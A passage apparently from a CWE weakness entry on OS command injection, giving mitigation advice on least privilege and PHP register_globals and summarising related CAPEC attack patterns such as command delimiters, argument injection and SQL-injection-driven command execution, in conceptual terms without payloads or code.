Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.